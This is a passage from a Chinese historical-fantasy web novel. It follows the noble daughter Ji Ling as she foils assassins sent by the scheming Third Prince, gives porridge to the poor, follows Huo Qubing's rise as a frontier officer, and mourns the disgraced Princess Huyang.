姬昤一个侧身微微弯腰,箭矢擦过她的脸没入她身后的牌位中,姬昤瞥了眼,那箭矢竟插在她阿翁的排位上!
姬昤脸上充斥着怒气,她立刻跑到门前打开门张望,只见屋顶上一黑衣人快速离去,只留给她一个背
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影。
“来人!抓刺客!!”姬昤大喊着一边追了上去。
姬昤借助墙边的堆积物登上高墙,她和刺客两人一前一后追赶着,在屋顶上奔跑、跳跃。
姬昤没有再喊,她并不觉得自己如果喊什么“站住”、“别跑”刺客就会听她的,既如此还不如节省点力气。
刺客身形矫捷,不一会儿就拉开了和姬昤之间的距离。
姬昤有些气喘,她的体力逐渐跟不上了。
她只习武一年多,哪里能跟这些专业的相比?
这时,冼英和杨妙真也飞上屋顶开始了追逐,有了她们二人姬昤也放心地渐渐停了下来。
姬昤停了下来,她扶着自己的双膝喘着气,等亲眼见到冼英和杨妙真二人抓住了刺客之后才放心地下了高墙。
刺客被冼英和杨妙真带到了姬家前厅跪在地上,姬家众人都围到了前厅。
“昤昤,你的脸……”姬母心疼地轻抚过姬昤脸上的血痕。
姬昤一心忙着抓刺客倒是没注意到自己的脸受了伤,她抬手轻抚,带下点点血迹。
“阿母,没事,小伤而已。”她道。
姬父走到刺客跟前,冷着脸看着刺客:“谁派你来的?要杀谁?姬昤么?”
刺客咬牙扫了眼姬家众人,脸上带着愤恨:“没了我还有下一个,这是你们姬家没有选择好队伍的下场!”
“你这是什么意思?什么没选择好队伍?快说!”姬四爷上前就给了刺客一巴掌。
刺客转回脸,怒瞪着姬四爷,冷声道:“姬家最好永远不要站队,否则站错了队伍是要付出代价的!”说罢他闭紧了嘴巴、咬紧了牙关,整张脸都在用力。
冼英当即就把他的下巴给卸了,她说:“他要咬舌自尽。”
姬昤冷着脸淡淡道:“带去柴房关起来,别让他死了。我可不信会是大皇子派你来的,做的也太明显了,怕是有人要借刀杀人。”
刺客眼神微变,有些不可置信地看着姬昤,可惜他已经被卸了下巴,现在只能发出声音却说不了话。
刺客被冼英和杨妙真带了下去。
姬父有些惊讶地看向姬昤:“你怎么知道这刺客说的是大皇子?”
“就是,难不成你知道内情?”姬莲一脸怀疑地看着姬昤。
姬昤只是瞥了眼姬莲,姬莲便不再说话了,她可没忘那颗眼珠子。
“近日来只有大皇子拉拢过姬家,只不过被我们拒了,说的不是大皇子还能有谁?”姬昤回答。
“大皇子?拉拢不成竟然还要对姬家下手?真当我们姬家是泥捏的吗?!”姬四爷怒道。
姬昤不禁多看了眼这个四叔,果然四房对她当上家主一点威胁都没有。
“大皇子是皇后嫡子,更是长子,为嫡为长都占尽了,就算拉拢姬家不成也不会对姬家下手的,今日之事定是旁人借刀杀人离间姬家和大皇子,为的就是渔翁得利。”姬昤轻叹了口气,似是对姬四爷话语的无奈。
“那便是其他几位皇子了,二皇子和三皇子……”姬父皱眉,他在思索会是哪位。
姬昤却注意到五叔的表情在提到“二皇子”的时候微变。
看来五房跟二皇子有点关系,正好,她正愁不知道该从何查起五房,五叔倒是提醒他了。
“昤昤,你回去好好休息养养伤,这些事就交给阿耶去做吧。”姬父轻拍了拍姬昤的肩膀。
“嗯,不过……阿耶,我还要跪祠堂呢。”姬昤眨了眨眼。
姬父也想了起来:“无事,你回去吧,今日发生了这样的事想必族老们也不会追究。”
姬昤嘿嘿一笑,而后敛了笑意:“阿耶,刺客的箭射中了阿翁的牌位,得找人来修缮。”
“什么?可恶,待会儿就让人先打他二十板子!”姬父怒道。
“阿耶莫恼,气大伤身。刺客么,昤昤会派人去审的,您就少操点心。”姬昤拍了拍父亲的背,温声道。
“也罢,你是我姬家嫡女,此事由你去做也好。”姬父。
姬昤微笑。
14. 三皇子
柴房。
刺客被五花大绑靠在柴火堆上,他的下巴被冼英卸掉了,此时也只能愤恨地瞪着眼前的三人——姬昤、冼英和杨妙真。
“把他下巴弄回去吧。”姬昤。
冼英上前半蹲,“咔嚓”一下就把刺客的下巴复位了,接着又起身回到姬昤身后侧站着。
“要杀要剐任你处置,其余的我一个字都不会多说!”刺客冷声道,说完还重重哼了一声,似是在彰显自己的决心。
姬昤走到刺客面前蹲下,直视着他:“要杀要剐也不至于,毕竟你也没做什么。唉,我这个人呢心善,如果你能说出幕后主使,我也会放你一马,毕竟你是替人办事。”
刺客瞥了眼姬昤,冷笑了一声,仍是不语。
“不说也可以,我自是知晓你不会轻易说出来。这样吧,我来说,你只要给我反应就行,等你回去了你的主子若是问起,也可说是我们对你用了酷刑,你被逼无奈,至于你要怎么让你主子信你那便是你的事了。”姬昤微笑。
刺客依旧不语,但他颤动的睫毛出卖了他的心思。
姬昤开口道:“大皇子?应当不是,嫡长子,没必要做这些事。”
刺客神色淡定。
姬昤又道:“二皇子?贵嫔之子,皇后之下便是贵嫔,除了大皇子便是他最尊贵。”
刺客睫毛微颤。
姬昤了然,接着说道:“三皇子?贵人之子,身份尊贵,就是为人太过低调,太过温顺,皇上怕是在考虑太子人选时从未想到过他。”
刺客眼珠子转了下。
姬昤轻笑了声,看来今日刺杀一事还跟两位皇子有关了,不过也不排除是这人唬她的。至于其他皇子,最大九岁,最小两岁,是怎么也抢不了太子位的。
“行了,我也知道我想知道的事了,你可以离开了。”姬昤起身,给了冼英一个眼神,冼英上前解开了刺客身上的绳子。
刺客缓解了一下手腕,站起身,狐疑地看着姬昤,他有些不大敢相信姬昤就这么放过他了。
姬昤侧开了身子,刺客就这么走了出去,直到他一路畅通无阻离开了姬家才反应过来他真的活着出来了。
刺客有些喜悦,但一想到还要编造自己活着回去且姬昤无事的理由又是头疼。
大门后,姬昤三人看着刺客的身影越走越远。
“主公,就这么放他回去吗?”杨妙真问。
“哪有那么容易,待会儿跟上去,看看他去的哪儿。”姬昤轻声道。
“喏。”冼英和杨妙真二人应声,小心跟了上去。
姬昤回到英兰苑,月栀找来了府中的大夫看她脸上的伤痕,所幸只是小伤,擦上药膏几天就能好了。
“那贼人真是可恶,竟敢伤了娘子的脸!这么好看的脸若是留下伤疤了,我定要他好看!”月栀一边给姬昤擦药一边愤愤道。
姬昤被月栀义愤填膺的模样逗笑了,她不禁捏了捏月栀的脸,笑道:“小伤而已,几天就好了,小月栀别生气啦。”
月栀鼓着嘴巴,还是气鼓鼓的。
姬昤仰着头安静地等月栀给她擦药,眼神却不自觉地飘到了月栀的衣服上去了。
“你这衣服还挺好看的,新做的?”姬昤问。
月栀害羞地笑了:“是啊!前些日子新做的,阿母前些日子传信来说近来流行这种样式,她给家里的妹妹们都做了新样式的,还给我寄了银钱让我也去做身新衣裳。”
“你阿母心疼你,这是怕你在姬府过得不好了。你且去信一封让你阿母宽心,只要有我姬昤在,就没有你月栀的苦头吃。”姬昤双手摸上月栀的脸揉了揉。
“阿母自是知晓我在姬府过得好的,只是总怕我银钱不够用,这才给我寄了些。我可都没用呢,都存着,届时给阿母送回去。”月栀。
擦完药,姬昤又盯上了月栀的衣裳,只是表情有些奇怪。
月栀一脸奇怪,低头看了好几遍自己的新衣,也不知道是哪里不对竟惹得娘子一直盯着。
“现在外面都流行这样的衣裳吗?”姬昤问。
她许久未出府,消息倒是一点儿也不灵通了。
“是呢,前些日子我出去时瞧见建康许多娘子都穿着这样式的衣裳,哪怕是郎君们的衣裳也多了许多花样,格外漂亮呢!”月栀回答。
姬昤不知为何,总觉得有些心慌。
“娘子,您怎么了?”月栀瞧姬昤脸色有些不太对,不禁问道。
姬昤扯出一个笑容,接着摇了摇头:“没事,只是想到了别的事。”
月栀又瞧了瞧自己的衣裳,很漂亮啊!
“月栀,你陪我去外面逛逛瞧瞧吧。”姬昤突然说道。
建康城内熙熙攘攘很是热闹,可姬昤却看见热闹之下的悲哀——
遍地是衣不蔽体、饿得饥荒面瘦脏兮兮的乞丐,而屋楼里是纸醉金迷;
老老实实做生意的小摊贩却要被所谓的官差逼着交不知道又是什么的“税”;
吸食五石散过量出现幻觉的人当街脱了衣裳舞动着身躯被衙役押走,一路还在高歌;
形形色色的人行走往来,却出乎一致地穿着相似的衣裳,普通人尚且衣着华丽,华贵人家更是富贵迷人眼……
而这竟是皇城脚下。
皇城亦是如此,更别说旁的地方了。
难怪系统说安朝没两年也要覆灭了,届时起义军四起,天下又要大乱。
姬昤和月栀来到随便一家成衣铺子,果然如月栀所说那般,衣裳都是花里胡哨的。
眼尖的掌柜一眼瞧出了姬昤的身份,欢欢喜喜地迎了上去:“哟,姬三娘子,今个儿怎的得空出来了?可是要买新衣?咱们店里都是最新的样式,都是顶顶好的布料,您要不都瞧瞧?”
姬昤随便看了两眼,然后问道:“现在都是这样的样式吗?感觉都没什么新意。”
掌柜解释道:“嗐,可不是,现在大家都喜欢这样华丽的衣裳,我们想卖其他样式的也卖不出去啊!”
掌柜又扫了眼姬昤的装扮,劝道:“姬三娘子,您可是姬家的嫡出娘子,可您身上这件衣裳已经配不上您的身份了,真不要来件新衣裳吗?”
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姬昤摇摇头:“不必了,我觉得我身上这件就挺好的。”说罢带着月栀走出了铺子。
姬昤又逛了好多地方,临近日落时分才回到姬府。
“月栀,吩咐下去,明日在府外施粥,只允许吃不饱饭、吃不起饭的人来领粥吃。”姬昤说道。
“喏。”月栀应声,然后又道,“娘子真是心善,总是做这样的好事,月栀跟着您真是跟对了!”
姬昤失笑:“你呀,惯会夸我。”
“这哪里是夸啊,明明就是事实。”月栀又道。
姬昤捏了捏月栀的脸,笑而不语。
这脸真好捏,软软的。
“三娘子。”已经回到英兰苑的冼英和杨妙真迎了上来。
“进去说。”姬昤踏入院内,回到自己屋中,月栀给她们关上了门,守在门外。
“那刺客进了三皇子府便没再出来。”冼英说道。
“三皇子……今年他也才十六岁吧?啧,这几个皇子为了抢夺皇位真是什么都做,说是为了大皇子,却又陷害二皇子,实则是三皇子,他想一箭双雕?哪有那么容易。”姬昤说着茗了口茶。
“陛下至今没有立太子,更没有封王,不就是为了让几个皇子争起来吗?说不定哪个儿子就把他的心头大患去掉了。”杨妙真冷笑道,而她说的心头大患就是像姬家一样的士族,这都是皇帝的心腹大患。
“主公,我们可要做什么?”杨妙真又问。
“不做什么。三皇子不就是想看到姬家和大皇子、二皇子闹起来吗?可前提是我死了,而姬家有理由和证据去闹。”姬昤淡定说道。
“且等着吧,坐不住的肯定会是三皇子。”她又道。
三皇子府。
“你是说,他们什么都没对你做,只是问了你几句话发现什么都问不出来就把你放了?对么?”
昏暗的房中,一少年坐在正上方,两手置于扶手上,他垂眸看着下方跪着的人,眼里毫无情绪,说出来的话语却像毒蛇一般阴冷,明明接近暖春,却刺骨无比。而那透照进屋内的昏黄日光印在少年的双眸上,跪着的人只是小心抬眸瞧了眼便吓得跟丢了魂似的。
“主,主子,小的说的都是真的,都是真的啊!主子您一定要相信小的啊!”跪着的正是派出去的刺客,他整个身子都在颤抖。
“呵,蠢货。”少年轻笑一声,给了一边站着的男人一个眼神,男人会意,走上前一把抓住刺客的后脖颈使劲把人提了起来。
刺客眼神一变,哭着喊着:“主子,小的知错!小的知错了!主子您饶了小的吧!饶过小的这一次吧!不要,不要杀我,不要……”
刺客的脖子变得软趴趴的,整个人瘫在地上悄无声息。
“拖出去喂狗。”少年微微皱眉,摆了摆手,眼神颇为嫌弃。
男人把尸体拖了出去,很快进来几个奴婢开始擦洗地面,哪怕没有血迹,只因主子嫌弃。
少年走到书案边拿起一幅画轴,打开一看,上面画了一个女子,正是姬昤。
“杀不成,那便换个法子。姬昤,你有点意思。”
15. 和戎护军
姬昤把幕后黑手是谁告诉了阿耶阿母,至于要怎么做她就没管了,好觉睡到天亮,一起来就开始操心施粥的事。
姬府外搭了个小棚子,遮住了煮着粥的大锅,听说了此事的乞儿们纷纷赶了过来排着队等着领粥吃。
“谢谢三娘子,谢谢三娘子!”
感谢的话一句又一句,姬昤听了太多太多,因为填不饱肚子的人实在是太多了。
一大早就搭起来的棚子,姬昤施粥施了一上午,直到中午时分来领粥的人才渐渐少了,可见建康城有多少流民乞儿,这还是国都呢。
“娘子,您歇着,后面都让奴婢来吧。”月栀心疼地说道。
“好,我就在旁边。”姬昤走到旁边,揉了揉自己的手。
她竟从未想到建康城有这么多人连饭都吃不起、吃不饱,那皇帝老儿都在做什么?!
姬昤很气愤,一个抬眸却瞧见两人朝自己走来。
少年笑容温润如春风和煦,举手投足之间还带着些贵气。
他身后跟着一不苟言笑的男子,身形瘦长,姬昤注意到他的虎口还有老茧,是个练家子。
姬昤没有开口,只是直勾勾地看着少年。
少年微笑,走到姬昤跟前时才止步。
月栀警惕地回到了姬昤身边待着,时刻注意着来人的一举一动。
“姬三娘子大善,在下佩服。”少年声音清脆,听着很容易让人产生好感。
姬昤点了下头,淡淡笑了下,眼神却落在少年腰间的玉佩上,那是皇家的玉佩。
“三皇子此刻不在太学却在姬府外所为何事?”姬昤问道。
少年正是当朝三皇子,年十六,宫中贵人之子。
三皇子脸上笑容更甚:“姬三娘子聪慧又如此心善,在下甚是钦佩,今日之事听闻姬府三娘子施粥,便过来瞧瞧,兴许我们能成为朋友。”
“朋友?是……”姬昤微微俯身凑近了些,轻声道,“要命的那种吗?”
三皇子脸色不变,淡定道:“三娘子说笑了,我不知道你在说什么,莫不是这其中有何误会?”
三皇子目光诚挚,看向姬昤的眼神是那么清澈。
姬昤轻笑一声,直起了身子。
“既如此,我们也没什么好说的。三皇子,您时间宝贵,就不要浪费在我这儿了,请便。”姬昤保持淡淡的微笑,伸出一只手,示意他自行离开。
“你……”三皇子身后的男子上前一步,神主要拔腰间的佩剑了,不过被三皇子拦了下来。
三皇子也不恼,眉头微皱,眼尾向下耷拉,瞧着还有些可怜,他道:“我与三娘子无冤无仇,为何三娘子却……有些讨厌我?其实你我二人年龄相仿,更应该聊得来才是。”
“我呢足不出户的,难得出几次门也只是去寺庙道观里烧香祈福,我这人无趣,与三皇子应当没什么好聊的,也聊不到一起去,苦了您一番好心了。”姬昤耐心拒绝着。
三皇子垂眸看着姬昤那伸出请他走的手,也不再多说什么,否则显得他纠缠不清。
“既如此,今日我便先行离开了,日后有缘再见。”三皇子说罢带着手下离开了。
待三皇子二人走远,月栀才小声地询问姬昤:“娘子,咱们与这三皇子相熟吗?我怎么感觉他很想跟您套近乎呢?”
“你的感觉没错。月栀,日后若瞧见了三皇子的人远远就要走开,记住了吗?”姬昤说道。
月栀连连点头:“月栀记住了,一定离得远远的!”
日子一天天过去,很快到了三月,草长莺飞,春风送暖。
英兰苑。
姬昤放下笔,将一封封信塞入信封中交给一旁的月栀,一边说道:“阿兄们也到了地方了,把这两封信送去吧。”
月栀接过信封,应了声,然后出了屋子。
姬昤叫上冼英和杨妙真二人三人一起出了姬府。
路上行人纷纷,五颜六色的油纸伞交错而过,只听得细雨落下的声音,清脆动听。
“唉,你们听说了吗?冯翊郡粟邑县出了个将才打退了好几波匈奴,陛下好像要封他当将军了!”
“是吗?还有这等人才?看来我们的日子也能好过些了。”
“什么时候的事啊?这将才多大年龄?什么出身啊?我家闺女正好十八,说不定还能攀个亲事呢!”
“听说这将才才十七岁,年纪小着呢!家里么……好像就是农户出身,十分普通。不过吗,人家是要当将军的,怎么会娶你家娘子?你还是早点洗洗睡了吧!”
……
听着周围人的议论,姬昤觉得有些熟悉。
“冯翊郡粟邑县……将才……匈奴……十七岁……霍去病?”姬昤喃喃着,突然猜测道。
“对!霍去病!那人就叫霍去病!”旁边一个听到的路人当即说道。
“对对对,就是这名儿,还挺特别的。”又一路人说道。
姬昤身后的冼英和杨妙真对视了眼,这霍去病不是主公的人吗?竟已经在边疆杀了匈奴要被皇帝封将军了?
“唉,这位娘子,你怎么知道那小将军姓名的?你是不是知道什么啊?”有个大娘凑到姬昤跟前,满脸好奇。
姬昤摆了摆手,讪讪一笑:“我也是听说的,听说的。”说完就走开了。
没过几天,姬昤在府中听闻陛下下旨册封了一位叫霍去病的小兵为六品官,号称“和戎护军”。
“宿主支线任务完成,成功拉拢朝廷官员:姬瑾、姬瑜、霍去病,奖励五千斤番薯,现在是否领取奖励?”系统的声音在姬昤脑海里响起。
姬昤思索着,霍去病这是要做什么?怎的还做了安朝的将?
“暂时不领取。”姬昤在脑海里回答着。
一旁的卫子夫将姬昤面前的茶杯满上,接着往前推了一下,温声道:“待去病一步一步登上高位,届时定会成为主公的一大助力。”
姬昤当即就反应过来了,原是如此!等时机成熟,若是霍去病直接带着手底下将士们反了,她不等于多了好多兵马?任务不就完成了嘛!
但姬昤转念一想,霍去病应该暂时不会把匈奴打光吧?若是匈奴直接被灭了,说句不好听的,安朝还怎么混乱?她还怎么浑水摸鱼?
“去病这孩子聪慧,行事有自己的想法,但大多时候都有数的,主公不必担忧。”卫子夫似乎是看出了姬昤的烦恼,缓缓说道。
“唉,我希望他厉害,但有的时候也不能太厉害,否则,还未等到他回到我身边便被皇帝老儿猜忌葬送了性命又该如何是好?”姬昤眉宇之间尽是忧虑。
卫子夫闻言也有些担忧:“这孩子还小,有时思虑不够周全,属下也担心……要不,主公,让属下去冯翊郡,陪在去病身边吧?”
“不可!”姬昤一口拒绝,“你一介女子,又不会武,这一路不说舟车劳顿,等到了长城郡,那里又是匈奴肆掠的,对你而言不安全,你不能去。”
卫子夫轻叹口气:“若属下能像冼英、杨妙真她们那般就好了,能护住自己,更能护住主公。”
姬昤一只手搭上卫子夫的肩膀,柔声抚慰道:“不必羡慕旁人,你就是你自己,做你自己就好。”
“多谢主公宽慰。”卫子夫温柔一笑。
“对了,近来霍光学得如何了?还有卫青,他和妇好、秦良玉一直在我郊外的别院待着,我也许久未去了,也不知他们如何了。平日里都是你走动的多些,那便多替我照顾他们些。”姬昤又道。
“主公放心,一切都好。”卫子夫回答。
“那便好。”姬昤放下杯盏,看向窗外,“不知道现在我两位兄长和霍去病如何了,那边条件不如这里,怕是要吃不好睡不好了。”
凉州。
安定郡。
泾川县县令府。
姬瑜翻着书案上的册子,眉头越皱越紧。
他已经来到这五日了,有关泾川县的资料他也翻遍了,可越看越是心惊。
这里穷啊,不是这里发展不起来,是人为导致的穷。
这里本是一个粮食富足之地,商户往来也很频繁,可近些年来天灾人祸不断,导致这里一落千丈,再没翻身。
“大人,建康姬家来信。”小厮进入屋中,恭敬说道。
姬
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瑜一下子便抬起头来,伸手过去:“快给我!”
小厮立刻上前将信放在了姬瑜手上,接着退到了屋外。
姬瑜小心打开了信封拿出了信,看到开头——吾兄姬瑜亲启便笑开了花。
“没白疼你啊昤昤,还知道给阿兄写信。”姬瑜呢喃着,咧着个大嘴笑着继续看了下去,只是面色愈发严肃,最后又转而露出笑容。
“不愧是我妹妹,和我想到一块儿去了。既然这皇帝老儿不行,那便换个人来坐这位置,不过……昤昤何时有的这些想法?还要当家主?啧,爱当便当吧,当家主麻烦死了,破规矩最多、最烦!”姬瑜又喃喃着,然后思索片刻,将一旁的蜡烛点燃,将信烧了去。
接着,姬瑜提起笔开始写给姬昤的回信——大致意思就是他在这儿过得还算不错,不必多烦忧,至于姬昤想要的,他这个做阿兄的定会鼎力相助。
雍州。
冯翊郡。
粟邑县县令府。
后院。
“去告诉那些人,若再敢往我府上送什么美人,谁先送我便先从谁查起!”姬瑾甩袖,双手背在身后,就连声音都彰显他的愤怒。
一旁的小厮吓得一抖,立刻应了声“是”,这还是他伺候新县令开始第一次遇到大人发火,在此之前大人一直是很温和的,就连和他们这些下人说话都是和和气气的,哪里这么生气过?
这时,一小厮小跑过来,弯腰,双手向上,一封信放在他的手心上。
“大人,建康姬家来信。”
姬瑾眉头一松,拿起信,刚想拆开,手一顿,他思索了番,打算回到屋中再拆。
屋内。
姬瑾端正坐好,一点点撕开信封拿出里面的信一瞧,眉眼弯弯,轻笑出了声。
是昤昤的信。
前面都是关心的话语,看得人心里暖暖的。姬瑾看到后面时还有些疑惑。
昤昤何时与这霍去病相识了?怎么还让他多多关照霍去病?
他知道这霍去病是谁,前些日子陛下下旨册封的和戎护军,因抗击匈奴有功,他也见过本人,确实是个将才,但……
昤昤为什么要他这么做?
姬昤给姬瑾和姬瑜的信是不一样的,姬昤深知她这两位阿兄的脾性,大兄性子温和、知礼守礼却有些固执死板,二兄性子张扬、喜好自由玩乐却是怂包一个,所以姬瑾并不知道姬昤要当家主和“谋逆”的心思。
军营。
“将……将军。”刘哥结巴地喊了声,还是有些不习惯。
明明之前还只是跟在他屁股后面喊“刘哥”“刘哥”的小屁孩,转眼就变成了将军!
霍去病笑了声:“刘哥,怎么了,我是长变了吗?”
刘哥讪讪一笑:“我当初咋没看出来你这么厉害呢,长这么好看,杀敌却这么凶悍。”
霍去病拍了拍刘哥的肩膀:“刘哥,以后跟着我好好干,你的未来呀光明着呢。”接着一个挑眉一个挤眼。
刘哥整个人都放松了,还是那个小屁孩嘛!一点儿没变!
“放轻松刘哥,平日里我们怎么相处的就怎么相处,就是有旁人时多注意些就行了。”霍去病说着拉着刘哥坐下,一副要跟他聊个天昏地暗的模样。
刘哥似是想到了什么,满脸担心。
“刘哥,怎么了?”霍去病见不对劲,问道。
“你如今已是六品和戎护军,就怕再升一升就要调回建康了,下次再相见……唉……还不知道能不能再相见呢。”刘哥叹气。
“什么意思?”霍去病追问,他觉得有些不对劲。
“以往便是如此,但凡有个能杀能打的就会被皇上封将,接着下一步就是调回建康再也没来过这里,并且朝廷也不会再派人来这,我们便只能靠自己了。”刘哥解释道。
霍去病了然,怪不得这里都没个中用的将领,原是出头了便要被调回建康,既如此,粟邑县还如何能被护住?能打的都被调走了!
果然是昏君!
“放心,这种情况迟早能改变的。”霍去病安慰道。
刘哥笑了下:“但愿吧。”但他不信。
16. 湖阳郡主之死
三月的春雨很是频繁,隔三差五地下着,雨滴落在青石板路上卷起草泥味儿,扑面而来都是春的气息。
雨渐渐下大了,姬昤站在门口打消了要出去的念头,正要转身,却瞧见月栀撑着伞小跑而来。
“娘子,听闻湖阳郡主病了,可要去探望一下?”她道。
姬昤点头,确实要去看望一下。
雨虽大,姬昤还是出门了。
郡主府在城北,离姬府并不远,不过几分钟就到了。
姬昤带着月栀报上了自己的名号,接着递上拜帖,待郡主府内来人才把她们请了进去。
“郡主怎么忽然病了?是不是着凉了?”路上,姬昤问着带路的下人。
下人欲言又止,最终说道:“姬三娘子您还是去问郡主吧,咱们做下人的什么都不知道。”
姬昤看他的样子听着这话就知道这其中有问题。
等到了郡主卧房,外面守着的下人喊了声:“郡主,姬三娘子来了!”
“咳咳咳咳!进……进来吧!咳咳咳……”里面传出湖阳郡主的声音,很是沙哑,似乎病得很重。
下人打开了房门,一股浓重的药味儿传了出来,姬昤不禁皱眉。
怎的病这么重?
“郡主,听闻您病了,您现在……”姬昤一边说着一边踏入房中,话语在看见湖阳郡主的时候戛然而止。
湖阳郡主病歪歪地躺在床上,本来白皙圆润的脸都凹陷下去了,两个眼眶黑哟哟的很是吓人,她整个人都瘦了很多。
“郡主,您怎么……怎么病成这样了?”姬昤不敢相信自己所见,走到床边坐下,手微微颤抖着不敢触碰湖阳郡主一丝一毫。
湖阳郡主又咳了几声,想对着姬昤笑一笑都很艰难。
“我……唉……昤昤,就让我这么唤你吧。”
姬昤握住湖阳郡主的手点了点头。
湖阳郡主接着看了眼屋内伺候的贴身婢女,待屋内只剩下她和姬昤后,她道:“昤昤,近来多加小心,陛下简直是疯了,姬家若能走,还是离开建康吧。”
姬昤心中一惊,陛下疯了?这是什么意思?
湖阳郡主接着又道:“陛下如今看不见百姓困苦,看不见内忧外患,只想着皇权如何更加集中把握在他的手里。昤昤,安朝完了,完了呀。”
“但您的身体怎么会变得这么差?”姬昤问。
湖阳郡主自嘲地笑了声,结果似乎是扯到了伤疤,疼得又咳了起来。
姬昤皱眉,想掀开点被子查看却被湖阳郡主抓住了手。
“我没事,不用看了。”湖阳郡主压下口中的腥甜,接着说道,“陛下如今是谁的话都听不进去了,我这个表妹也无用了,既然要与他作对自是活不久的。”
“快些回去吧,姬家如今也不好过,不要与我这失去圣心之人再有纠缠了。”湖阳郡主说罢松开了姬昤的手还推了推她。
“我……好,我改日再来看您。”姬昤欲言又止,最终还是离开了。
“别来了,别来了……”湖阳郡主喃喃道。
自从她惹怒陛下被轰出宫后她这往日还算热闹的郡主府就再无人登门了,姬昤还是第一个。她想,自己死就算了,不要拉着小娘子一起。
后来姬昤又去看过湖阳郡主几次,每每都被拒之门外。
三月底,郡主府传出消息,湖阳郡主殁了。
姬昤一个愣神打翻了书案上的杯盏,茶水泼在刚画的画上,晕染血红一片。
“月栀,随我去郡主府一趟。”
郡主府外已经挂上了白幡,大门敞开着,竟无一人来祭拜,凄凉冷清。
姬昤和月栀二人站在门外望向里面,棺材在那儿摆着,旁边哭丧的也只有婢女仆从。
湖阳郡主幼年丧父母,青年丧兄妹子女,壮年丧夫,眼下竟找不出能为她守灵送葬之人,更何况她触怒了皇帝,更无人敢来吊唁。
姬昤抬脚刚要踏上台阶,门口的小厮上前一步说道:“姬三娘子,郡主吩咐了,若是您来不许进府,回去吧。”
“我只是想送送郡主。”姬昤说道。
小厮一脸为难:“姬三娘子,不是我们不让您进去,郡主也是为了您好,您就回去吧。”
姬昤沉默着收回了脚,接着站直了身子:“那你帮我拿香过来吧,我就在外面拜。”
小厮思索片刻,点了点头。
姬昤拿着三根香,拜了三拜,然后把香递给小厮:“替我插上吧。”
小厮接过香回到灵堂插好。
姬昤这才转身离去。
姬昤等到了姬府门口时停了下来,她没有下马车,而是让月栀去找了冼英和杨妙真,说是要一起去郊外别院一趟。
姬昤一个人待在马车内,她忍不住去回想湖阳郡主生前的模样,病痛将湖阳郡主折磨成那样还要替她着想,生前死后亦是如此。
湖阳郡主明明是一个顶好的人。
狗皇帝!
姬昤心中气愤,突然,一支箭矢穿过车窗帘子从姬昤眼前飞过没入木板中,紧接着她就听见了杂乱的脚步声。
姬昤一把掀开帘子,外面来了一群黑衣人包围住了她的马车。
看来又是刺客。
姬昤从鞋子里抽出匕首,这是她用来防身的,今天算是派上用场了。
突如起来的一幕吓坏了路过的路人,姬府看门的小厮也吓坏了,赶紧跑回府内,一边大喊“有刺客”。
黑衣人们互相对视了眼,一点头,全部朝姬昤冲了上去。
姬昤眼神一凛,踩着马背纵身一跃,手握匕首向最近的刺客扎去。
那刺客侧身一躲,弯刀袭向姬昤的腰腹,姬昤猛地后退,一个转身,抓住马的缰绳稳住了自己的身体。
可不等姬昤喘息片刻,其他刺客又围了上来……
等冼英、杨妙真和姬府养的打手出来时,府外的地面上已是血红一片,不论是姬昤还是刺客身上都带着伤,地上已经分不清到底是谁的血了,马车也已经不见,马受了惊吓带着车跑了。
冼英和杨妙真快速跑到姬昤身边挡在她身前,姬府的打手已经和刺客杀成了一片。
“娘子,您先回府,这里交给我们。”杨妙真手握长枪,眼神锐利扫视过每一个刺客。
姬昤面色苍白,嘴唇更是毫无血色、白得吓人,她一手捂住左臂,那有一个伤口正在往外渗血,再是后背和腰腹,都被刺客砍伤,就连腿上也被砍伤了几刀。
冼英当即说道:“我先带娘子回府,记得留活口,我尽快赶回来。”
“嗯!”杨妙真应声。
这时,三皇子带着他的属下来了。
三皇子大喊道:“姬三娘子,我来助你!”说罢给了身旁属下一个眼神,属下立刻冲了上去。
姬昤眉头微皱,低声喃喃道:“枭心鹤貌之徒。冼英,带我回府。”
“喏。”
三皇子见姬昤被带回了府中,神色不变。
英兰苑。
姬昤卧房。
英兰苑内围满了人,姬昤的床前更是站了许多人。
姬母一边担忧一边哭泣着,嘴里说着:“我的女儿啊,怎么会遭此劫难……”
“弟妹,昤昤这孩子是个有福气的,有这么多大夫在,她定不会有事的。”姬大夫人安抚着姬母。
“三嫂,大嫂说的是,昤昤现下只是晕过去了,你若一直这样哭,让昤昤听见了免不了又要担
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心。”姬五夫人也道。
姬四夫人没有说话,只是看着床上脸色苍白浑身是伤的姬昤有些发愣,她想起了自己不久前才死的儿子,也是这么安静地躺在床上。
姬莲看着床上的姬昤还有些不可置信。
她不是嚣张得很吗?怎么现在竟伤成这样?看着就疼。
几个年岁尚小的娘子都有些害怕,躲到了各自阿母身后。
屋外。
姬父皱着一张脸,面色十分难看。
这已经是第二次了,上一次刺客没有得逞,这一次竟将他女儿伤成这样!昤昤说的果然没错,建康城不安全。
这时,杨妙真和冼英回来了,两人身上还带着血,只不过并不是她们的。
“外面如何了?”姬父问。
“留了个活口,其余全部杀了。”冼英冷声回答道。
“审!我定要知道这幕后真凶是谁!”姬父怒喝道。
“三娘子如何了?”冼英问。
“昤昤伤得有些重,但无性命之忧。”姬父回答。
“姬家主,我去审刺客。”冼英抱拳,说罢转身,大步流星地离去。
同时,一小厮跑了进来:“家主,三皇子来探望三娘子。”
姬父面色不善:“三皇子?”
他竟还敢来?!
“让他进来。”姬父。
三皇子和其属下被带了进来。
“姬家主。”三皇子向姬父点了下头,算是见礼。
其余人皆向三皇子行礼,姬家主只需同样点下头即可。
“三皇子怎的来了?”姬父语气平淡。
“方才路过姬府便瞧见刺客行刺三娘子,我心下担忧便想着来看看。”三皇子说着,眼里流露出的担心不似作假。
“三皇子费心了,昤昤无大事,只是现下还在昏迷不必见客,三皇子请回吧。”姬父语气僵硬,明显就是不待见三皇子。
“无事便好,既如此我就先回府了,待三娘子醒来姬家主可派人知会我一声,我也好放心。”三皇子淡笑着说道,似乎并不在意姬父的不待见,说罢就带着属下离开,没有片刻停留。
见三皇子来了很快便走了,众人都很疑惑,但只有姬父气愤,因为只有他知道之前刺客就是三皇子派来一事,他就怕这次也是三皇子策划的,最后反而假惺惺地来看望。
三皇子回头看了眼姬府的牌匾,又低头看了眼一地还没清洗干净的血迹,最终上了马车。
马车内。
“我这父皇真是心思难懂,姑姑已死,又无亲人送葬,父皇还不许人吊唁,唯一一个姬三娘子只是在郡主府外拜了拜就要被追杀,啧啧啧……”三皇子打开扇子慢悠悠地扇着,虽是这么说,脸上却带着笑意。
